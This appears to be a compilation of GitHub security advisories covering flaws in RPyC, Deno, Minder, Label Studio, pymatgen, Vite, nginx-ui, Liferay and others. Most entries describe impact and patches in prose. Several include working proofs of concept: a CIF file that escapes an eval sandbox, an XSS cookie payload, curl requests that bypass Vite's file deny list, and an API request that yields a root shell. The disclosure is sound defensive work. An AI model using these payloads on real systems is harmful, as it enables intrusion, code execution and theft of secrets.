RPyC's missing security check results in code execution when using numpy.array on the server-side.

[Severity: HIGH]

An issue in Open Source: RPyC v.4.00 thru v.5.3.1 allows a remote attacker to execute arbitrary code via a crafted script to the `__array__` attribute component. This vulnerability was introduced in [9f45f826](https://github.com/tomerfiliba-org/rpyc/commit/9f45f8269d4106905db61d82cd529cacdb178911).

### Attack Vector
RPyC services that rely on the `__array__` attribute used by numpy are impacted. When the server-side exposes a method that calls the attribute named `__array__` for a a client provided netref (e.g., `np.array(client_netref)`), a remote attacker can craft a class which results in remote code execution

### Impact
Assuming the system exposes a method that calls the attribute `__array__`, an attacker can execute code using the vulnerable component.

### Patches
The fix is available in RPyC 6.0.0. The major version change is because some users may need to set `allow_pickle` to `True` when migrating to RPyC 6.

### Workarounds
While the recommend fix is to upgrade to RPyC 6.0.0, the workaround is to [apply bba1d356 as patch.](https://github.com/tomerfiliba-org/rpyc/commit/bba1d3562e6f9f1256ec64048cc23001c0bb7516)

### Affected Component
[The affected component](https://github.com/tomerfiliba-org/rpyc/blob/5.3.1/rpyc/core/netref.py#L252-L255) is the `__array__` method constructed for `NetrefClass`.

### References
- [Original disclosure](https://gist.github.com/renbou/957f70d27470982994f12a1d70153d09) by [renbou (Artem Mikheev)](https://gist.github.com/renbou)
- [CVE-2024-27758](https://nvd.nist.gov/vuln/detail/CVE-2024-27758)


Deno's deno_runtime vulnerable to interactive permission prompt spoofing via improper ANSI stripping

[Severity: HIGH]

### Summary
A maliciously crafted permission request can show the spoofed permission prompt by inserting a broken ANSI escape sequence into the request contents.

### Details
In [the patch for CVE-2023-28446](https://github.com/denoland/deno/commit/78d430103a8f6931154ddbbe19d36f3b8630286d), Deno is stripping any ANSI escape sequences from the permission prompt, but permissions given to the program are based on the contents that contain the ANSI escape sequences.

For example, requesting the read permission with `/tmp/hello\u001b[/../../etc/hosts` as a path will display the `/tmp/hellotc/hosts` in the permission prompt, but the actual permission given to the program is `/tmp/hello\u001b[/../../etc/hosts`, which is `/etc/hosts` after the normalization.

This difference allows a malicious Deno program to spoof the contents of the permission prompt.

### PoC
Run the following JavaScript and observe that `/tmp/hellotc/hosts` is displayed in the permission prompt instead of `/etc/hosts`, although Deno gives access to `/etc/hosts`.
``` javascript
const permission = { name: "read", path: "/tmp/hello\u001b[/../../etc/hosts" };
await Deno.permissions.request(permission);
console.log(await Deno.readTextFile("/etc/hosts"));
```

#### Expected prompt
```
┌ ⚠  Deno requests read access to "/etc/hosts".
├ Requested by `Deno.permissions.query()` API
├ Run again with --allow-read to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) >
```

#### Actual prompt
```
┌ ⚠  Deno requests read access to "/tmp/hellotc/hosts".
├ Requested by `Deno.permissions.query()` API
├ Run again with --allow-read to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) >

```

### Impact
Any Deno program can spoof the content of the interactive permission prompt by inserting a broken ANSI code, which allows a malicious Deno program to display the wrong file path or program name to the user.


`GetRepositoryByName`, `DeleteRepositoryByName` and `GetArtifactByName` allow access of arbitrary repositories in Minder by any authenticated user

[Severity: HIGH]

### Summary
A Minder user can use the endpoints listed in the issue title to access any repository in the DB, irrespective of who owns the repo and any permissions that user may have.

### Details

https://github.com/stacklok/minder/blob/e88e4b286e4bc04c03b0332a77961f085e1aa77f/database/query/repositories.sql#L22-L23
https://github.com/stacklok/minder/blob/a115c8524fbd582b2b277eaadce024bebbded508/internal/controlplane/handlers_repositories.go#L277-L278

The DB query used here checks by repo owner, repo name and provider name (which is always "github"). These query values are not distinct for the particular user - as long as the user has valid credentials and a provider, they can set the repo owner/name to any value they want and the server will return information on this repo.

`DeleteRepositoryByName` uses the same query and I have been able to delete another user's repo using this technique.

The `GetArtifactByName` endpoint also uses this DB query. I have not reproduced the behaviour with this endpoint due to a lack of a suitable test case, but I do not see anything in the implementation of the endpoint to prevent it being exploited.

### PoC

Setup:
1. Fresh provider/project on the production minder instance which is owned by me.
2. A repo registered by another user (in this case, Ozz)

```
# show my identity
$ minder auth whoami
No config file present, using default values.

 Here are your details:

+----------------------------------------------------+----------------------------------------------------+
|                        KEY                         |                       VALUE                        |
+----------------------------------------------------+----------------------------------------------------+
| Subject                                            | c93cc12e-999d-49f4-9ee3-593fdfb39204               |
+----------------------------------------------------+----------------------------------------------------+
| Created At                                         | 2024-02-26 15:53:29.228 +0000                      |
|                                                    | UTC                                                |
+----------------------------------------------------+----------------------------------------------------+
| Updated At                                         | 2024-02-26 15:53:29.228 +0000                      |
|                                                    | UTC                                                |
+----------------------------------------------------+----------------------------------------------------+
| Minder Server                                      | api.stacklok.com:443                               |
+----------------------------------------------------+----------------------------------------------------+
| Project                                            | dmjb /                                             |
|                                                    | ca059552-7b8a-4c6e-918d-ca7e6cbd0bab               |
+----------------------------------------------------+----------------------------------------------------+

# show that I have no repos registered
$ minder repo list
No config file present, using default values.
+----+---------+----------+-------------+-------+------+
| ID | PROJECT | PROVIDER | UPSTREAM ID | OWNER | NAME |
+----+---------+----------+-------------+-------+------+

# show details on one of Ozz's repos
$ minder repo get -n JAORMX/auditevent
No config file present, using default values.
{
  "id":  "a7e82080-9b6c-41f3-bc08-8e9442f8b2d2",
  "context":  {
    "provider":  "github",
    "project":  "b513f7f0-26dc-42e6-81a0-577df5489e62"
  },
  "owner":  "JAORMX",
  "name":  "auditevent",
  "repoId":  "605597568",
  "hookUrl":  "https://api.github.com/repos/JAORMX/auditevent/hooks/464564107",
  "deployUrl":  "https://api.github.com/repos/JAORMX/auditevent/deployments",
  "cloneUrl":  "https://github.com/JAORMX/auditevent.git",
  "isFork":  true,
  "createdAt":  "2024-03-04T13:27:54.019356Z",
  "updatedAt":  "2024-03-04T13:27:54.019356Z",
  "defaultBranch":  "main"
}

# delete Ozz's repo
$ minder repo delete -n JAORMX/auditevent
No config file present, using default values.
Successfully deleted repo with name: JAORMX/auditevent

# Ozz's repo no longer exists
$ minder repo get -n JAORMX/auditevent
No config file present, using default values.
Message: Error getting repo by name
Details: NotFound means some requested entity (e.g., file or directory) was
not found.
```

### Impact

Any user and project in a multi-tenant Minder instance.


Reading specially crafted serializable objects from an untrusted source may cause an infinite loop and denial of service

[Severity: HIGH]

Any program on the JVM may read serialized objects via [java.io.ObjectInputStream.readObject()](https://docs.oracle.com/javase/8/docs/api/java/io/ObjectInputStream.html#readObject--). Reading serialized objects from an untrusted source is **inherently unsafe** (this affects any program running on any version of the JVM) and is a prerequisite for this vulnerability.

Clojure classes that represent infinite seqs (Cycle, infinite Repeat, and Iterate) do not define hashCode() and use the parent ASeq.hashCode(), which walks the seq to compute the hash, yielding an infinite loop. Classes like java.util.HashMap call hashCode() on keys during deserialization of a serialized map.

The exploit requires:

1. Crafting a serialized HashMap object with an infinite seq object as a key.
2. Sending that to a program that reads serialized objects via ObjectInputStream.readObject().

This will cause the program to enter an infinite loop on the reading thread and thus a denial of service (DoS).

The affected Clojure classes (Cycle, Repeat, Iterate) exist in Clojure 1.7.0-1.11.1, 1.12.0-alpha1-1.12.0-alpha8.


es5-ext vulnerable to Regular Expression Denial of Service in `function#copy` and `function#toStringTokens`

[Severity: LOW]

### Impact

Passing functions with very long names or complex default argument names into `function#copy` or`function#toStringTokens` may put script to stall

### Patches
Fixed with https://github.com/medikoo/es5-ext/commit/3551cdd7b2db08b1632841f819d008757d28e8e2 and https://github.com/medikoo/es5-ext/commit/a52e95736690ad1d465ebcd9791d54570e294602
Published with v0.10.63

### Workarounds
No real workaround aside of refraining from using above utilities.

### References
https://github.com/medikoo/es5-ext/issues/201


Apache DolphinScheduler vulnerable to arbitrary JavaScript execution as root for authenticated users

[Severity: HIGH]

Improper Input Validation vulnerability in Apache DolphinScheduler. An authenticated user can cause arbitrary, unsandboxed JavaScript to be executed on the server.

This issue is a legacy of CVE-2023-49299. We didn't fix it completely in CVE-2023-49299, and we added one more patch to fix it.

This issue affects Apache DolphinScheduler: until 3.2.1.

Users are recommended to upgrade to version 3.2.1, which fixes the issue.


Label Studio vulnerable to Cross-site Scripting if `<Choices>` or `<Labels>` are used in labeling config

[Severity: MEDIUM]

### Summary
On all Label Studio versions prior to 1.11.0, data imported via file upload feature is not properly sanitized prior to being rendered within a [`Choices`](https://labelstud.io/tags/choices) or [`Labels`](https://labelstud.io/tags/labels) tag, resulting in an XSS vulnerability.

### Details
Need permission to use the "data import" function. This was reproduced on Label Studio 1.10.1.

### PoC

1. Create a project.
![Create a project](https://github.com/HumanSignal/label-studio/assets/3943358/9b1536ad-feac-4238-a1bd-ca9b1b798673)

2. Upload a file containing the payload using the "Upload Files" function.
![2  Upload a file containing the payload using the Upload Files function](https://github.com/HumanSignal/label-studio/assets/3943358/26bb7af1-1cd2-408f-9adf-61e31a5b7328)
![3  complete](https://github.com/HumanSignal/label-studio/assets/3943358/f2f62774-1fa6-4456-9e6f-8fa1ca0a2d2e)

The following are the contents of the files used in the PoC
```
{
  "data": {
    "prompt": "labelstudio universe image",
    "images": [
      {
        "value": "id123#0",
        "style": "margin: 5px",
        "html": "<img width='400' src='https://labelstud.io/_astro/images-tab.64279c16_ZaBSvC.avif' onload=alert(document.cookie)>"
      }
    ]
  }
}
```

3. Select the text-to-image generation labeling template of Ranking and scoring
![3  Select the text-to-image generation labelling template for Ranking and scoring](https://github.com/HumanSignal/label-studio/assets/3943358/f227f49c-a718-4738-bc2a-807da4f97155)
![5  save](https://github.com/HumanSignal/label-studio/assets/3943358/9b529f8a-8e99-4bb0-bdf6-bb7a95c9b75d)

4. Select a task
![4  Select a task](https://github.com/HumanSignal/label-studio/assets/3943358/71856b7a-2b1f-44ea-99ab-fc48bc20caa7)

5. Check that the script is running
![5  Check that the script is running](https://github.com/HumanSignal/label-studio/assets/3943358/e396ae7b-a591-4db7-afe9-5bab30b48cb9)

### Impact
Malicious scripts can be injected into the code, and when linked with vulnerabilities such as CSRF, it can cause even greater damage. In particular, It can become a source of further attacks, especially when linked to social engineering.


cryptography NULL pointer dereference with pkcs12.serialize_key_and_certificates when called with a non-matching certificate and private key and an hmac_hash override

[Severity: HIGH]

If `pkcs12.serialize_key_and_certificates` is called with both:

1. A certificate whose public key did not match the provided private key
2. An `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)`

Then a NULL pointer dereference would occur, crashing the Python process.

This has been resolved, and now a `ValueError` is properly raised.

Patched in https://github.com/pyca/cryptography/pull/10423


pymatgen vulnerable to arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string

[Severity: CRITICAL]

### Summary
A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.

### Details
The cause of the vulnerability is in [pymatgen/symmetry/settings.py#L97C1-L111C108](https://github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108). The flawed code segment involves a regular expression operation followed by the use of `eval()`.

#### Vulnerable code

```py
basis_change = [
    re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X)
    for string in basis_change
]
"""snip"""
([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change])
```

The use of eval, even with `__builtins__` set to `None`, is still a security risk. The `BuiltinImporter` class can be recovered with subclass traversal.

### PoC

The vulnerability can be exploited as follows:

Create a file `vuln.cif` with the following contents:

```
data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'

_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "
```

Then, parse the cif file with the following code:
```py
from pymatgen.io.cif import CifParser
parser = CifParser("vuln.cif")
structure = parser.parse_structures()
```

### Credits

This vulnerability was found and disclosed by [William Khem-Marquez](https://github.com/SteakEnthusiast).


Liferay Portal Calendar module and Liferay DXP vulnerable to Cross-site Scripting, content spoofing

[Severity: MEDIUM]

The Calendar module in Liferay Portal 7.2.0 through 7.4.2, and older unsupported versions, and Liferay DXP 7.3 before service pack 3, 7.2 before fix pack 15, and older unsupported versions does not escape user supplied data in the default notification email template, which allows remote authenticated users to inject arbitrary web script or HTML via the title of a calendar event or the user's name. This may lead to a content spoofing or cross-site scripting (XSS) attacks depending on the capability of the receiver's mail client.


Liferay Portal's Dynamic Data Mapping module's DDMForm and Liferay DXP vulnerable to stored Cross-site Scripting

[Severity: CRITICAL]

Stored cross-site scripting (XSS) vulnerability in the Dynamic Data Mapping module's DDMForm in Liferay Portal 7.2.0 through 7.4.3.4, and older unsupported versions, and Liferay DXP 7.4.13, 7.3 before update 4, 7.2 before fix pack 17, and older unsupported versions allows remote authenticated users to inject arbitrary web script or HTML via the instanceId parameter.


Liferay Portal and Liferay DXP's HtmlUtil.escapeRedirect Can Be Circumvented via Two Forward Slashes

[Severity: MEDIUM]

HtmlUtil.escapeRedirect in Liferay Portal 7.2.0 through 7.4.3.12, and older unsupported versions, and Liferay DXP 7.4 before update 9, 7.3 service pack 3, 7.2 fix pack 15 through 18, and older unsupported versions can be circumvented by using two forward slashes, which allows remote attackers to redirect users to arbitrary external URLs via the (1) 'redirect` parameter (2) `FORWARD_URL` parameter, and (3) others parameters that rely on HtmlUtil.escapeRedirect. This vulnerability is the result of an incomplete fix in CVE-2022-28977.


Liferay Portal and Liferay DXP's HtmlUtil.escapeRedirect Can Be Circumvented via Replacement Character

[Severity: MEDIUM]

HtmlUtil.escapeRedirect in Liferay Portal 7.2.0 through 7.4.3.18, and older unsupported versions, and Liferay DXP 7.4 before update 19, 7.3 before update 4, 7.2 before fix pack 19, and older unsupported versions can be circumvented by using the 'REPLACEMENT CHARACTER' (U+FFFD), which allows remote attackers to redirect users to arbitrary external URLs via the (1) 'redirect` parameter (2) `FORWARD_URL` parameter, (3) `noSuchEntryRedirect` parameter, and (4) others parameters that rely on HtmlUtil.escapeRedirect.


Liferay Portal and Liferay DXP Allows Authenticated Users with View Permissions to Edit Permissions

[Severity: MEDIUM]

Liferay Portal 7.2.0 through 7.4.3.4, and older unsupported versions, and Liferay DXP 7.4.13, 7.3 before service pack 3, 7.2 before fix pack 17, and older unsupported versions does not properly check user permissions, which allows remote authenticated users with the VIEW user permission to edit their own permission via the User and Organizations section of the Control Panel.


Liferay Portal and Liferay DXP Does Not Properly Restrict Membership to Child Site Based on Parent Site Options

[Severity: MEDIUM]

Liferay Portal 7.2.0 through 7.4.1, and older unsupported versions, and Liferay DXP 7.3 before service pack 3, 7.2 before fix pack 15, and older unsupported versions does not properly restrict membership of a child site when the "Limit membership to members of the parent site" option is enabled, which allows remote authenticated users to add users who are not a member of the parent site to a child site. The added user may obtain permission to perform unauthorized actions in the child site.


TYPO3 vulnerable to Improper Access Control Persisting File Abstraction Layer Entities via Data Handler

[Severity: HIGH]

### Problem
Entities of the File Abstraction Layer (FAL) could be persisted directly via `DataHandler`. This allowed attackers to reference files in the fallback storage directly and retrieve their file names and contents. The fallback storage ("zero-storage") is used as a backward compatibility layer for files located outside properly configured file storages and within the public web root directory. Exploiting this vulnerability requires a valid backend user account.

### Solution
Update to TYPO3 versions 8.7.57 ELTS, 9.5.46 ELTS, 10.4.43 ELTS, 11.5.35 LTS, 12.4.11 LTS, 13.0.1 that fix the problem described.

#### ℹ Strong security defaults - Manual actions required

When persisting entities of the File Abstraction Layer directly via DataHandler, `sys_file` entities are now denied by default, and `sys_file_reference` & `sys_file_metadata` entities are not permitted to reference files in the fallback storage anymore.

When importing data from secure origins, this must be explicitly enabled in the corresponding DataHandler instance by using `$dataHandler->isImporting = true;`.

### Credits
Thanks to TYPO3 core & security team member Oliver Hader who reported and fixed the issue.

### References
* [TYPO3-CORE-SA-2024-006](https://typo3.org/security/advisory/typo3-core-sa-2024-006)


WiX Toolset's .be TEMP folder is vulnerable to DLL redirection attacks that allow the attacker to escalate privileges

[Severity: HIGH]

### Summary
.be TEMP folder is vulnerable to DLL redirection attacks that allow the attacker to escalate privileges.

### Details
If the bundle is not run as admin, the user's TEMP folder is used and not the system TEMP folder. A utility is able to monitor the user's TEMP folder for changes and drop its own DLL into the **.be/<bundle>.Local** folder immediately when the .be folder is created. When the burn engine elevates, the malicious DLL receives elevated privileges.

### PoC
As a standard, non-admin user:
1. Monitor the user's TEMP folder for changes using ReadDirectoryChangesW
2. On FILE_ACTION_ADDED, check if the folder name is .be
3. Create a folder in .be named after the bundle + .Local (e.g. MyInstaller.exe.Local)
4. Put the malicious COMCTL32.DLL in the .Local folder following the naming used for the real DLL (e.g. MyInstaller.exe.Local/x86_microsoft.windows.common-controls_.../COMCTL32.dll)
5. Do hacker things when the engine escalates and the malicious DLL is loaded

Proper naming for the path can be obtained by using GetModuleHandle("comctl32.dll") and GetModuleFileName.

### Impact
DLL redirection utilizing .exe.Local Windows capability. This impacts any installer built with the WiX installer framework.


Composer code execution and possible privilege escalation via compromised InstalledVersions.php or installed.php

[Severity: HIGH]

### Impact

Several files within the local working directory are included during the invocation of Composer and in the context of the executing user.

As such,  under certain conditions arbitrary code execution may lead to local privilege escalation, provide lateral user movement or malicious code execution when Composer is invoked within a directory with tampered files.

All Composer CLI commands are affected, including composer.phar's self-update.

The following are of high risk:

- Composer being run with sudo.
- Pipelines which may execute Composer on untrusted projects.
- Shared environments with developers who run Composer individually on the same project.

### Patches

2.7.0, 2.2.23

### Workarounds

- It is advised that the patched versions are applied at the earliest convenience.

Where not possible, the following should be addressed:
- Remove all sudo composer privileges for all users to mitigate root privilege escalation.
- Avoid running Composer within an untrusted directory, or if needed, verify that the contents of `vendor/composer/InstalledVersions.php` and `vendor/composer/installed.php` do not include untrusted code.

A reset can also be done on these files by the following:

```sh
rm vendor/composer/installed.php vendor/composer/InstalledVersions.php
composer install --no-scripts --no-plugins
```


Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting') in trillium-http and trillium-client

[Severity: MEDIUM]

### Summary
Insufficient validation of outbound header values may lead to request splitting or response splitting attacks in scenarios where attackers have sufficient control over outbound headers.

### Details
Outbound `trillium_http::HeaderValue` and `trillium_http::HeaderName` can be constructed infallibly and were not checked for illegal bytes when sending requests from the client or responses from the server. Thus, if an attacker has sufficient control over header values (or names) in a request or response that they could inject `\r\n` sequences, they could get the client and server out of sync, and then pivot to gain control over other parts of requests or responses. (i.e. exfiltrating data from other requests, SSRF, etc.)

### Patches

#### trillium-http >= 0.3.12:
* If a header name is invalid in server response headers, the specific header and any associated values are omitted from network transmission.
* If a header value is invalid in server response headers, the individual header value is omitted from network transmission. Other headers values with the same header name will still be sent.

#### trillium-client >= 0.5.4:
* If any header name or header value is invalid in the client request headers, awaiting the client Conn returns an `Error::MalformedHeader` prior to any network access.

### Workarounds

trillium services and client applications should sanitize or validate untrusted input that is included in header values and header names. Carriage return, newline, and null characters are not allowed.

### Impact

This only affects use cases where attackers have control of outbound headers, and can insert "\r\n" sequences. Specifically, if untrusted and unvalidated input is inserted into header names or values.

### A note on timing from @jbr on behalf of `trillium-rs`

@divergentdave filed this vulnerability many months ago but I did not see it until the evening of Jan 23, 2024. Patches were issued less than 24h after reading the vulnerability. The [security policy](https://github.com/trillium-rs/trillium/blob/main/SECURITY.md) has been [updated](https://github.com/trillium-rs/trillium/commit/b27950ceae52aa7a0f482494fe67b6069234d417) to avoid delays like this in the future.


Go package github.com/notaryproject/notation configured with permissive trust policies potentially susceptible to rollback attack from compromised registry

[Severity: MEDIUM]

### Impact
An external actor with control of a compromised container registry can provide outdated versions of OCI artifacts, such as Images. This could lead artifact consumers with relaxed trust policies (such as `permissive` instead of `strict`) to potentially use artifacts with signatures that are no longer valid, making them susceptible to any exploits those artifacts may contain.

### Mitigation
In Notary Project, an artifact publisher can control the validity period of artifact by specifying signature expiry during the signing process. Using shorter signature validity periods along with processes to periodically resign artifacts, allows artifact producers to ensure that their consumers will only receive up-to-date artifacts. Artifact consumers should correspondingly use a `strict` or equivalent trust policy that enforces signature expiry. Together these steps enable use of up-to-date artifacts and safeguard against rollback attack in the event of registry compromise. The Notary Project offers various signature validation options such as `permissive`, `audit` and `skip` to support various scenarios. These scenarios includes 1) situations demanding urgent workload deployment, necessitating the bypassing of expired or revoked signatures; 2) auditing of artifacts lacking signatures without interrupting workload; and 3) skipping of verification for specific images that might have undergone validation through alternative mechanisms.

Additionally, the Notary Project supports revocation to ensure the signature freshness. Artifact publishers can sign with short-lived certificates and revoke older certificates when necessary. This revocation serves as a signal to inform artifact consumers that the corresponding unexpired artifact is no longer approved by the publisher. This enables the artifact publisher to control the validity of the signature independently of their ability to manage artifacts in a compromised registry.

### Credit
The Notary Project extends its gratitude to Justin Cappos (@JustinCappos) for responsibly disclosing the issue.

_**Note:** we have updated [threat model](https://github.com/notaryproject/specifications/blob/main/threatmodels/notation-threatmodel.md) to include considerations for rollback attack.


Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem

[Severity: HIGH]

### Summary
[Vite dev server option](https://vitejs.dev/config/server-options.html#server-fs-deny) `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

### Patches
Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17

### Details
Since `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See `picomatch`  usage, where `nocase` is defaulted to `false`: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files.

### PoC
**Setup**
1. Created vanilla Vite project using `npm create vite@latest` on a Standard Azure hosted Windows 10 instance.
    - `npm run dev -- --host 0.0.0.0`
    - Publicly accessible for the time being here: http://20.12.242.81:5173/
2. Created dummy secret files, e.g. `custom.secret` and `production.pem`
3. Populated `vite.config.js` with
```javascript
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }
```

**Reproduction**
1. `curl -s http://20.12.242.81:5173/@fs//`
    - Descriptive error page reveals absolute filesystem path to project root
2. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js`
    - Discoverable configuration file reveals locations of secrets
3. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT`
    - Secrets are directly accessible using case-augmented version of filename

**Proof**
![Screenshot 2024-01-19 022736](https://user-images.githubusercontent.com/907968/298020728-3a8d3c06-fcfd-4009-9182-e842f66a6ea5.png)

### Impact
**Who**
- Users with exposed dev servers on environments with case-insensitive filesystems

**What**
- Files protected by `server.fs.deny` are both discoverable, and accessible


CL-Signatures Revocation Scheme in Ursa has flaws that allow a holder to demonstrate non-revocation of a revoked credential

[Severity: MEDIUM]

### Summary

The revocation schema that is part of the Ursa CL-Signatures implementations has a flaw that could impact the privacy guarantees defined by the AnonCreds verifiable credential model, allowing a malicious holder of a revoked credential to generate a valid Non-Revocation Proof for that credential as part of an AnonCreds presentation.

### Details

The revocation schema that is part of the Ursa CL-Signatures implementation has a flaw that could impact the privacy guarantees defined by the AnonCreds verifiable credential model, allowing a malicious holder of a revoked credential to generate a valid Non-Revocation Proof for that credential as part of an AnonCreds presentation.

The flaw exists in all CL-Signature versions published from the [Hyperledger Ursa] repository to the [Ursa Rust Crate], and are fixed in all versions published from the [Hyperledger AnonCreds CL-Signatures] repository to the [AnonCreds CL-Signatures Rust Crate].

To exploit the flaw, a holder must update their wallet (agent) software, replacing the Hyperledger Ursa or AnonCreds CL-Signatures library that generates the proof of non-revocation. This may involve, for example, altering an iOS or Android application published in the respective app stores. A mitigation for this flaw is to use the application attestation capabilities (such as the Android "[SafetyNet Attestation API]") offered by the app store vendors to (for example) "help determine whether your servers are interacting with your genuine app running on a genuine Android device."

The problem is created in the generation of a revocation registry, prior to issuing any credentials. As such, to eliminate the impact of the flaw, the issued credentials must be re-issued based on a correct revocation registry, generated from a correct implementation, such as [Hyperledger AnonCreds CL-Signatures].

[Hyperledger Ursa]: https://github.com/hyperledger-archives/ursa
[Ursa Rust Crate]: https://crates.io/crates/ursa
[Hyperledger AnonCreds CL-Signatures]: https://github.com/hyperledger/anoncreds-clsignatures-rs
[AnonCreds CL-Signatures Rust Crate]: https://crates.io/crates/anoncreds-clsignatures
[SafetyNet Attestation API]: https://developer.android.com/privacy-and-security/safetynet/attestation
### Impact
The potential impact is as follows:

- A verifier may verify a credential from a holder as being "not revoked" when in fact, the holder's credential has been revoked.

### Mitigation

Upgrade libraries/applications using the [Ursa Rust Crate] to any version of the [AnonCreds CL-Signatures Rust Crate]. If your application has issued revocable credentials, once the Issuer library has been upgraded, new revocation registries must be created, and credentials issued from revocation registries created with the the flawed software must be revoked and reissued.

A verifier can detect if a holder presents a flawed revocable credential.


Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)

[Severity: HIGH]

### Summary
Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings.

### Details
The `Home > Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13).

```go
func InitPrivateRouter(r *gin.RouterGroup) {
    r.GET("settings", GetSettings)
    r.POST("settings", SaveSettings)
    ...
}
```

The [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.

The `SaveSettings` function is defined as follows:

```go
func SaveSettings(c *gin.Context) {
    var json struct {
        Server settings.Server `json:"server"`
        ...
    }

    ...

    settings.ServerSettings = json.Server

    ...

    err := settings.Save()
    ...
}
```

The `Terminal Start Command` setting is stored as [`settings.ServerSettings.StartCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12). By spawning a terminal with [`Pty`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11), the `StartCmd` setting is used:

```go
func Pty(c *gin.Context) {
	...

	p, err := pty.NewPipeLine(ws)

	...
}
```

The [`NewPipeLine`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29) function is defined as follows:

```go
func NewPipeLine(conn *websocket.Conn) (p *Pipeline, err error) {
	c := exec.Command(settings.ServerSettings.StartCmd)

    ...
```
This issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/).

#### Proof of Concept
> Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`.
1. Login as a newly created user.
2. Send the following request to modify the settings with `"start_cmd":"bash"` :
```http
POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 512
Authorization: <<JWT TOKEN>>
Content-Type: application/json

{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"...","node_secret":"...","http_challenge_port":"9180","email":"...","database":"foo","start_cmd":"bash","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
```
3. Open a terminal from the web interface and execute arbitrary commands as `root`:
```
root@1de46642d108:/app# id
uid=0(root) gid=0(root) groups=0(root)
```

### Impact
This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.


cdo-local-uuid vulnerable to insertion of artifact derived from developer's Present Working Directory into demonstration code

[Severity: LOW]

### Impact
_What kind of vulnerability is it? Who is impacted?_

An information leakage vulnerability is present in [`cdo-local-uuid`](https://pypi.org/project/cdo-local-uuid/) at version `0.4.0`, and in [`case-utils`](https://pypi.org/project/case-utils/) in unpatched versions (matching the pattern `0.x.0`) at and since `0.5.0`, before `0.15.0`.

The vulnerability stems from a Python function, `cdo_local_uuid.local_uuid()`, and its original implementation `case_utils.local_uuid()`.  Henceforth, both will be called `local_uuid()`.

